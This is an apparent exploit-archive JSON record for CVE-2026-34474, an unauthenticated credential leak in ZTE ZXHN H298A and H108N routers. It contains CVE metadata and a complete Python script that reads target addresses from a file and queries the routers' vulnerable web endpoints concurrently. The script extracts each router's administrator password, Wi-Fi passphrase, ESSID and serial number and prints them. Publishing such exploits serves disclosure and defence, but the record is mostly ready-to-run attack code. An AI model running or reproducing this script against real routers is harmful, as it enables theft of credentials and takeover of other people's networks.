{"exploit":{"id":"EDB-52592","name":"ZTE H298A/H108N - Unauthenticated Credential Exposure","description":"ZTE H298A/H108N - Unauthenticated Credential Exposure","cves":["CVE-2026-34474"],"author":"Mina Nageh Salalma","published":"2026-05-29","platform":"multiple","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52592","path":"exploits/multiple/local/52592.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52592.py","vulnerabilities":[{"id":"CVE-2026-34474","state":"PUBLISHED","title":null,"titleSource":null,"description":"Sensitive data exposure leading to admin/WLAN credential leak in ZTE ZXHN H298A 1.1 and H108N 2.6. A crafted request to the router web interface can expose sensitive device and account information. In affected builds, the response may include the administrator password and WLAN PSK, enabling authentication bypass and network compromise. Some firmware versions may expose only partial identifiers (e.g., serial number, ESSID, MAC addresses).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34474","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34474"},"updatedAt":"2026-05-26T05:20:52.572Z","retrievedAt":"2026-11-25T16:15:43.378Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52592.png?v=2","url":"https://exploitbin.com/exploits/EDB-52592","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52592/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52592/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ZTE H298A / H108N - Unauthenticated Credential Exposure\nvia ETHCheat Parameter\n# Date: 2026-05-20\n# Exploit Author: Mina Nageh Salalma (Monx Research)\n# Vendor Homepage: https://www.zte.com.cn\n# Software Link:\nhttps://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure\n# Version: ZXHN H298A 1.1, ZXHN H108N 2.6\n# Tested on: ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6\n# CVE: CVE-2026-34474\n\n# Description:\n# An unauthenticated attacker can retrieve the live administrator password,\n# WLAN PSK, and ESSID from a ZTE H298A or H108N router by issuing a single\n# HTTP GET request to /getpage.lua?pid=1000&ETHCheat=1. The device returns\n# HTML markup containing the fields OBJ_USERINFO_IDPassword1 (admin\npassword),\n# WLANPSK_KeyPassphrase1 (Wi-Fi PSK), and WLANAP_ESSID1 in plaintext.\n# A second related endpoint exposes the serial number.\n# No authentication, session, or cookie is required.\n#\n# Affected Firmware:\n# - ZXHN H298A 1.1\n# - ZXHN H108N 2.6\n#\n# MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34474\n# Full write-up:\nhttps://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure\n\nimport aiohttp\nimport asyncio\nimport html\nimport re\nimport os\nfrom colorama import Fore, Style, init\n\ninit()  # Initialize colorama\n\nasync def get_essid_password(session, url):\n    try:\n        async with aiohttp.ClientSession() as session:\n            # First request\n            async with session.get(\"http://\" + url +\n\"/getpage.lua?pid=1000&ETHCheat=1\", verify_ssl=False) as response:\n                html_text = await response.text()\n                Admin =\nre.search(r\"id\\s*=\\s*'OBJ_USERINFO_IDPassword1'\\s*value\\s*=\\s*'([^']+)'\",\nhtml_text).group(1)\n                Admin = html.unescape(Admin)\n                ESSID =\nre.search(r\"id\\s*=\\s*'WLANAP_ESSID1'\\s*value\\s*=\\s*'([^']+)'\",\nhtml_text).group(1)\n                ESSID = html.unescape(ESSID)\n                password =\nre.search(r\"id\\s*=\\s*'WLANPSK_KeyPassphrase1'\\s*value\\s*=\\s*'([^']+)'\",\nhtml_text).group(1)\n                password = html.unescape(password)\n\n            async with session.get(\"http://\" + url +\n\"/wizard_page/wizard_overETHfail_set_lua.lua\") as response:\n                html_text = await response.text()\n                serial_num =\nre.search(r\"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>\",\nhtml_text).group(1)\n                serial_num = html.unescape(serial_num)\n\n            return {\"URL\": url, \"Admin Password\": Admin, \"ESSID\": ESSID,\n\"WIFI-Password\": password, \"Serial Number\": serial_num}\n    except Exception as e:\n        return {\"URL\": url, \"Admin Password\": \"\", \"ESSID\": \"\",\n\"WIFI-Password\": \"\", \"Serial Number\": \"\"}\n\nasync def main():\n    with open(\"urls.txt\", \"r\") as f:\n        urls = f.read().splitlines()\n    tasks = []\n    async with aiohttp.ClientSession() as session:\n        for url in urls:\n            tasks.append(get_essid_password(session, url))\n        results = await asyncio.gather(*tasks)\n    for r in results:\n        print(f\"[+] {r['URL']} | Admin: {r['Admin Password']} | ESSID:\n{r['ESSID']} | WiFi: {r['WIFI-Password']} | Serial: {r['Serial Number']}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())","sha256":"909817a53d1e4bd34b9c2b55b1aede72d4f4fe0067b72b47206776460272961d","bytes":3205,"fetchedAt":"2026-11-26T08:59:24.741Z","encoding":"utf-8 (display only; download retains original bytes)"}